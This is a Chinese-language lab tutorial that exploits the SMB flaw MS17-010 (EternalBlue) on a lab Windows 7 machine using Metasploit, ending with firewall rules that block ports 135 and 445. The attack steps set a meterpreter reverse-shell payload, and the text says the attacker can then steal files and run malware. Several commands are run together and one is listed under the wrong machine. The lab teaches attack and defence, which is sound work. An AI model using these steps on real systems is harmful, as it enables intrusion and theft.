LAB: 基于SMB协议漏洞的Windows操作系统攻击
在本实验中,我们将使用两台计算机模拟基于Windows操作系统SMB协议漏洞的攻击。一台运行Kali Linux操作系统,扮演攻击者(黑客)。另一台计算机扮演受害者(victim)。受害机器运行的是包含SMB漏洞的Windows 7 64位操作系统。为此,我们将在Kali Linux机器上使用名为EternalBlue的漏洞利用代码攻击Windows 7机器。
Server Message Block(SMB)是一种在微软Windows平台上非常常见的文件共享协议。借助SMB协议,同一网络层或同一域内的Windows计算机可以互相共享文件。至今,SMB还有另一个名称:Common Internet File Sharing(CIFS)。
EternalBlue是一种基于SMB协议漏洞(通过445端口)的信息利用代码。最初,EternalBlue由美国国家安全局(NSA)开发。完整英文名称为U.S. National Security Agency。但后来,它于2017年被黑客组织The Shadow Brokers泄露。同年,一场针对微软Windows计算机的大规模勒索病毒攻击在全球范围内爆发。其中,最著名的仍是WannaCry病毒。尽管此漏洞已被微软通过安全更新MS17-010修补,但全球仍有大量运行Windows操作系统的计算机存在此漏洞。该漏洞在CVE-2017-0144中公布(Windows SMB远程代码执行漏洞)。此漏洞极其危险且极易被利用。值得一提的是,通过这个SMB协议漏洞进行攻击,黑客无需发送或诱骗受害者下载或运行任何恶意病毒。也就是说,即使受害者什么都不做,仍可能被黑客轻易攻击并控制计算机,而毫不知情。
准备两台在VMware Workstation软件上运行的虚拟机:

在Kali虚拟机(攻击机)上:
ifconfigservice postgresql startservice postgresql status在Windows 7虚拟机(受害机)上:
ipconfigmsfconsole登录Metasploit
search ms17_010搜索与ms17_010相关的漏洞及语法
use 0 -> set payload windows/x64/meterpreter/reverse_tcp

=>至此,黑客已成功入侵受害机器。此时,黑客可以删除、窃取受害机器上的文件而受害者毫无察觉。甚至,黑客可以直接上传并运行病毒。
为避免SMB协议被利用和滥用,我们需要执行以下操作:
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"